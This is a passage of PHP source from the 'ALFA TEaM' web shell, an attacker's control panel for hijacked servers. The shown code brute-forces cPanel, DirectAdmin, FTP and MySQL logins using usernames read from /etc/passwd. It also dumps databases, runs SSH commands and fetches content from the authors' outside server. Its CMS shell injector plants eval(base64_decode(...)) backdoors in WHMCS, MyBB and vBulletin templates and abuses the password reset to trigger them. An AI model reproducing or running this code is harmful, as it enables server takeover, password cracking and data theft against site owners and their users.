shell...!</h3></p></center>");\r\n\t\t}\r\n\t}else{\r\n\t\techo("<center><p><h3>[-] Error...!</h3></p></center>");\r\n\t}\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaplus(){\r\nalfahead();\r\necho \'<div class="header"><center><p><div class="txtfont_header">| Alfa + |</div></p><center><h3><a href=javascript:void(0) onclick="g(\\\'plus\\\',null,\\\'news\\\');">| News | </a><a href=javascript:void(0) onclick="g(\\\'plus\\\',null,\\\'tools\\\')">| Tools | </a><a href=javascript:void(0) onclick="g(\\\'plus\\\',null,\\\'about\\\')">| About Us | </a></h3></center>\';\r\nif($_POST[\'alfa1\']==\'news\'||$_POST[\'alfa1\']==\'tools\'){\r\ntry{\r\n$s1 = \'http://solevisible.com/\'.($_POST[\'alfa1\']==\'news\'?\'news.php\':\'tools.php\');\r\n$msg = "<center><font color=\'red\'><b><p>Can`t Connect to Remote Server ...!<br>Please Try Again Later...!</p></b></font></center>";\r\n$news = new AlfaCURL();\r\nif($news->Send($s1)){\r\n$xml = $news->Send($s1);\r\n}else{\r\n$xml = false;\r\n}\r\nif($xml){\r\nif(@simplexml_load_string($xml)){\r\n$doc = new DOMDocument;\r\n$doc->loadXML($xml);\r\n$data = $doc->getElementsByTagName(\'data\')->item(0);\r\n$items = $data->getElementsByTagName(\'item\');\r\nforeach($items as $item){\r\n$title = $item->getElementsByTagName(\'title\')->item(0)->nodeValue;\r\n$description = $item->getElementsByTagName(\'description\')->item(0)->nodeValue;\r\n$link = $item->getElementsByTagName(\'link\')->item(0)->nodeValue;\r\n$pubDate = $item->getElementsByTagName(\'pubDate\')->item(0)->nodeValue;\r\necho(__pre()."<center><a href=\'$link\' target=\'_blank\'>$title</a><br>$description<br><small><font  color=\'#FFFFFF\'><b>Date: $pubDate</b></font></small></center></pre>");\r\n}\r\n}else{\r\necho($msg);\r\n}\r\n}else{\r\necho($msg);\r\n}\r\n}catch(Exception $e){\r\necho $e->getMessage();\r\n}}elseif($_POST[\'alfa1\']==\'about\'){\r\necho __pre()."<pre><center><img src=\'http://solevisible.com/images/farvahar-iran.png\'><br>\r\n<b><font size=\'+3\' color=\'#00A220\'>&#9774; ~ PEACE ~ &#9774;</font><br><b>\r\n<font color=\'#00A220\'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color=\'#00A220\'>Contact : solevisible@gmail.com</font><br>\r\n<font color=\'#00A220\'>Telegram Channel: @solevisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : ehsan.invisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : sole.sad</font><br>\r\n<font color=\'#FF0000\'>Persian Gulf For Ever</font><br>\r\n<font color=\'#FF0000\'>Iranian Hackers :)</font><br>\r\n<font color=\'#FF0000\'>Our Friends : Mr.PERSIA , R3veC0der</font><br>\r\n</center></pre><iframe src=\'tg://resolve?domain=solevisible\' frameborder=\'0\' width=\'0\' height=\'0\'></iframe>";\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaDumper(){\r\nalfahead();\r\necho(\'<div class="header">\');\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| Mysql Database Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"g(\'dumper\',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\\"><p>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Dump Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']).\'alfa.sql\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\n$username = ($_POST[\'alfa3\']);\r\n$password = ($_POST[\'alfa4\']);\r\n$dbname = ($_POST[\'alfa5\']);\r\n$dfile = ($_POST[\'alfa6\']);\r\n$host = ($_POST[\'alfa7\']);\r\nif(!empty($dbname)){\r\necho __pre();\r\n$msg = "<center>Check this :  <font color=\'red\'>".$dfile."</font></center>";\r\nif(@mysqli_connect($host,$username,$password,$dbname)){\r\nif(strlen(alfaEx("mysqldump"))>0){\r\nalfaEx("mysqldump --single-transaction --host=\\"$host\\" --user=\\"$username\\" --password=\\"$password\\" $dbname > \'".addslashes($dfile)."\'");\r\necho($msg);\r\n}else{\r\n__alert("Error...!");\r\n}\r\n}else{\r\necho(\'<center>mysqli_connect : Error!</center>\');\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction Alfa_DirectAdmin_Cracker($info){\r\nif(!$info[\'mysql\'])\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'].\'/CMD_LOGIN\';\r\nelse $url = $info[\'protocol\'].$info[\'target\'].\'/phpmyadmin\';\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_URL,$url);\r\ncurl_setopt($curl, CURLOPT_USERPWD, $info[\'username\'].\':\'.$info[\'password\']);\r\nif($info[\'mysql\'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\r\n$result = curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/CMD_FILE_MANAGER|frameset/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_CP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info[\'username\'].":".$info[\'password\']) . "\\n\\r"));\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\n$result = curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/filemanager/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_FTP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_USERPWD, "".$info[\'username\'].":".$info[\'password\']."");\r\n$result = curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/(\\d+):(\\d+)/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_Mysql_Cracker($info){\r\nif(@mysqli_connect($info[\'target\'].\':\'.$info[\'port\'],$info[\'username\'],$info[\'password\'])){\r\nCrackerResualt($info);\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\r\n}\r\n}\r\nfunction Alfa_FTPC($info){\r\nif($con=@ftp_connect($info[\'target\'],$info[\'port\'])){\r\nif($con){\r\n$login=@ftp_login($con,$info[\'username\'],$info[\'password\']);\r\nif($login){CrackerResualt($info);}}}\r\n@ftp_close($con);\r\n}\r\nfunction CrackerResualt($info){\r\n$res = $info[\'target\'].\' => \'.$info[\'username\'].":".$info[\'password\']."\\n" ;\r\n$c = @fopen($info[\'fcrack\'],\'a+\');\r\n@fwrite($c, $res);\r\n@fclose($c);\r\n}\r\nfunction Alfa_Call_Function_Cracker($method,$info){\r\nswitch($method){case \'cp\':return Alfa_CP_Cracker($info);break;case \'direct\': case \'phpmyadmin\':return Alfa_DirectAdmin_Cracker($info);break;case \'ftp\':return Alfa_FTP_Cracker($info);break;case \'mysql\':return Alfa_Mysql_Cracker($info);break;case \'mysql\':return Alfa_FTPC($info);break;}\r\n}\r\nfunction alfaCrackers(){\r\nalfahead();\r\nAlfaNum(9,10);\r\necho \'<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\\\'Crackers\\\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\\\'start\\\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">\';\r\nforeach(array(\'cp\'=>\'Cpanel\',\'direct\'=>\'DirectAdmin\',\'ftp\'=>\'FTP\',\'phpmyadmin\'=>\'PhpMyAdmin[DirectAdmin]\',\'mysql\'=>\'mysql_connect()\',\'ftpc\'=>\'ftp_connect()\') as $key=>$val)echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');\r\necho \'</select> Protocol: <select id="protocol" name="protocol">\';\r\nforeach(array(\'https://\',\'http://\',\'ftp://\') as $val)echo(\'<option value="\'.$val.\'">\'.$val.\'</option>\');\r\necho \'</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">\r\nPort: <input id="port" type="text" name="port" value="2083">\r\n<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>\r\n<textarea placeholder="Users" rows="20" cols="25" name="usernames">\'.($GLOBALS[\'sys\']==\'unix\'?alfaEx("cut -d: -f1 /etc/passwd"):"").\'</textarea>\r\n&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>\r\nSave Result Into File <input type="text" name="fcrack" value="cracked.txt">\r\n<p><input type="submit" name="cracking" value=" " /></div></form></p><center>\';\r\n$target = str_replace(array(\'https://\',\'http://\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$port = $_POST[\'alfa2\'];\r\n$usernames= $_POST[\'alfa3\'];\r\n$passwords = $_POST[\'alfa4\'];\r\n$fcrack = $_POST[\'alfa5\'];\r\n$cracking = $_POST[\'alfa6\'];\r\n$protocol = $_POST[\'alfa7\'];\r\n$loginpanel = $_POST[\'alfa8\'];\r\n$p = $loginpanel == \'phpmyadmin\' ? $p = true : false;\r\nif($cracking==\'start\'){\r\necho __pre();\r\n$exuser = explode("\\n",$usernames);\r\n$expw = explode("\\n",$passwords);\r\nforeach($exuser as $user){\r\nforeach($expw as $pw){\r\n$array = array(\'username\' => trim($user),\'password\' => trim($pw),\'port\' => trim($port),\'target\' => trim($target),\'protocol\' => trim($protocol),\'fcrack\' => trim($fcrack),\'mysql\' => $p);\r\nAlfa_Call_Function_Cracker($loginpanel,$array);\r\n}\r\n}\r\necho \'<br><font color="red">Attack Finished...</font>\';\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfassh2(){\r\nif(function_exists(\'ssh2_connect\')){\r\n$_SESSION[\'connected\']= false;\r\n$ssh_ip = $_POST[\'alfa1\'];\r\n$ssh_login = $_POST[\'alfa2\'];\r\n$ssh_pass = $_POST[\'alfa3\'];\r\n$ssh_port = $_POST[\'alfa4\'];\r\n$ssh_command = $_POST[\'alfa5\'];\r\nif($alfaconnect2ssh=@ssh2_connect($ssh_ip, $ssh_port))\r\n{\r\nif($alfalogin=@ssh2_auth_password($alfaconnect2ssh, $ssh_login, $ssh_pass))\r\n{\r\n$_SESSION[\'connected\']= true;\r\n}\r\n}\r\nif($_SESSION[\'connected\']!== true){\r\nalfahead();\r\necho "<div class=header>";\r\necho "<form name=\'ssh2\' method=\'post\' onsubmit=\'g(\\"ssh2\\",null,this.ssh_ip.value,this.ssh_login.value,this.ssh_pass.value,this.ssh_port.value); return false;\'><table cellpadding=\'2\' cellspacing=\'0\'><tr><td><font color=\\"#ffffff\\"><b>IP</b></font></td><td><font color=\\"#ffffff\\"><b>SSH USER</b></font></td><td><font color=\\"#ffffff\\"><b>SSH PASS</b></font></td><td><font color=\\"#ffffff\\"><b>SSH PORT</b></font></td><td></td></tr><tr><td><input type=text name=ssh_ip value=\'\'></td><td><input type=text name=ssh_login value=\'\'></td><td><input type=text name=ssh_pass value=\'\'></td><td><input type=text name=ssh_port value=\'\'></td><td><input type=\'submit\' name=\'submit\' value=\' \'></td></table></form></div>";\r\nalfafooter();\r\n}\r\nif($_SESSION[\'connected\']==true){\r\nalfahead();\r\necho "<div class=header>";\r\necho "<form name=\'ssh2\' method=\'post\' onsubmit=\'g(\\"ssh2\\",null,\\"".$ssh_ip."\\",\\"".$ssh_login."\\",\\"".$ssh_pass."\\",\\"".$ssh_port."\\",this.ssh_command.value,\\">>\\"); return false;\'><table cellpadding=\'2\' cellspacing=\'0\'><tr><td><input type=text name=ssh_command value=\'\'></td><td><input type=\'submit\' name=\'execute\' value=\' \'></td></table></form><form name=\'ssh2\' method=\'post\' onsubmit=\'g(\\\'ssh2\\\',null,\\\'\\\',\\\'\\\',\\\'\\\'); return false;\'><input type=submit name=\'destsession\' value=\'logout\'></form>";\r\n$alfastream = ssh2_exec($alfaconnect2ssh, $ssh_command);\r\nstream_set_blocking($alfastream,true);\r\n$output = ssh2_fetch_stream($alfastream,SSH2_STREAM_STDIO);\r\nif($_POST[\'alfa6\']==\'>>\'){\r\necho \'<pre class=ml1>\';\r\nob_start();\r\necho  stream_get_contents($output);\r\necho htmlspecialchars(ob_get_clean());\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}}else{\r\nalfahead();\r\necho \'<div class=header><p><center><b><font color="red">Server does not support SSH2</font><p></b></center></div>\';\r\nalfafooter();\r\n}\r\n}\r\nfunction output($string){ echo "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$string."\'>Click Here !</a></font></b></center><br><br>";}\r\nfunction alfaShellInjectors(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(11);\r\necho \'<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,\\\'whmcs\\\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,\\\'mybb\\\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,null,\\\'vb\\\')">| vBulletin |</a></h3></center>\';\r\n$selector = \'<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>\';\r\nif(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']== \'whmcs\'){\r\nAlfaNum();\r\necho __pre()."<p><div class=\'txtfont_header\'>| WHMCS |</div></p><center><center><p>".getConfigHtml(\'whmcs\')."</p><form onSubmit=\\"g(\'ShellInjectors\',null,\'whmcs\',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\" method=\'post\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Path WHMCS Url : \', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host : \', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name : \', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User : \', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass : \', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=\'submit\' value=\' \'></p></form></center></td></tr></table></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$path = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$index = "{php}".ALFA_UPLOADER.";{/php}";\r\n$newin = str_replace("\'","\\\'",$index);\r\n$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\\"{\\$pw_reset_url}\\">{\\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\\$signature}</p>{php}if(\\$_COOKIE[\\"sec\\"] == \\"123\\"){eval(base64_decode(\\$_COOKIE[\\"sec2\\"])); die(\\"!\\");}{\\/php}";\r\nif(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){\r\nif(filter_var($path,FILTER_VALIDATE_URL)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\n$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE name=\'Password Reset Validation\'";\r\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert("shell injectet...");\r\n$ff= \'http://\'.$path."/solevisible.php";\r\noutput($ff);}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target => </font><a href=\'".$path."/pwreset.php\' target=\'_blank\'>".$path."/pwreset.php</a><br/><font color=\'#FFFFFF\'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$path."/solevisible.php\' target=\'_blank\'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert(\'Path is not Valid...\');}}}\r\n}if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']== \'mybb\'){\r\nAlfaNum(1,2,3,5);\r\necho __pre()."<p><div class=\'txtfont_header\'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id=\'sendajax\' onSubmit=\\"g(\'ShellInjectors\',null,null,\'mybb\',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\" method=POST>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'dbh\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'dbn\', \'id\'=>\'db_name\' ,\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'dbu\', \'id\'=>\'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'dbp\', \'id\'=>\'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'prefix\', \'id\'=>\'db_prefix\',\'inputValue\' => \'mybb_\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=submit value=\' \'></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$shellCode = "{\\${".ALFA_UPLOADER."}}";\r\n$newinshell = str_replace("\'","\\\'",$shellCode);\r\nif (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$inject = "select template from {$prefix}templates where  title= \'calendar\'";\r\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\r\n$GetTemp = mysqli_fetch_assoc($result);\r\n$saveDate = $GetTemp[\'template\'];\r\n$repsave = str_replace($shellCode,"",$saveDate);\r\n$repsave = str_replace("\'","\\\'",$repsave);\r\n$createShell = "update {$prefix}templates SET template= \'".$newinshell.$repsave."\' where title = \'calendar\'";\r\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\r\n$geturl = "select value from {$prefix}settings where name= \'bburl\'";\r\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\r\n$rowb = mysqli_fetch_assoc($findurl);\r\n$furl = $rowb[\'value\'];\r\n$realurl = parse_url($furl,PHP_URL_HOST);\r\n$realpath = parse_url($furl,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif (extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\' ){\r\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$repairdbtemp = "update {$prefix}templates SET template= \'$repsave\' where title = \'calendar\'";\r\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\r\n@fclose($fsock);}}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath."/calendar.php");\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath."/calendar.php";\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<br><pre id=\'strOutput\' style=\'margin-top:5px\' class=\'ml1\'><br><center><b><font color=\'#FFFFFF\'>Please Go To Target => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']== \'vb\'){\r\nAlfaNum(1,2,7,9,10);\r\necho __pre().\'<p><div class="txtfont_header">| vbulletin |</div></p><p>\'.getConfigHtml(\'vb\').\'</p><form name="frm" method="POST" onsubmit="g(\\\'ShellInjectors\\\',null,null,this.lo.value,\\\'vb\\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'lo\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'db\', \'id\'=>\'db_name\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'user\', \'id\'=>\'db_user\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'pass\', \'id\'=>\'db_pw\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'tab\', \'id\'=>\'db_prefix\',\'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho \'<p><input type="submit" value=" " /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&!empty($_POST[\'alfa4\'])){\r\n$method = $_POST[\'alfa8\'];\r\n$code = "{\\${".ALFA_UPLOADER."}}{\\${exit()}}&";\r\n$conn=@mysqli_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\'],$_POST[\'alfa7\']) or die(@mysqli_error($conn));\r\n$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'faq\'";\r\n$recivedata = @mysqli_query($conn,$rec);\r\n$getd = @mysqli_fetch_assoc($recivedata);\r\n$savetoass = $getd[\'template\'];\r\n$code = str_replace("\'","\\\'",$code);\r\n$p = "UPDATE ".$_POST[\'alfa6\']."template SET `template`=\'".$code."\' WHERE `title`=\'faq\'";\r\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\r\n$geturl = @mysqli_query($conn,"select `value` from ".$_POST[\'alfa6\']."setting WHERE `varname`=\'bburl\'");\r\n$getval = @mysqli_fetch_assoc($geturl);\r\n$saveval = $getval[\'value\'];\r\n$realurl = parse_url($saveval,PHP_URL_HOST);\r\n$realpath = parse_url($saveval,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif(extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\'){\r\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath/faq.php HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template 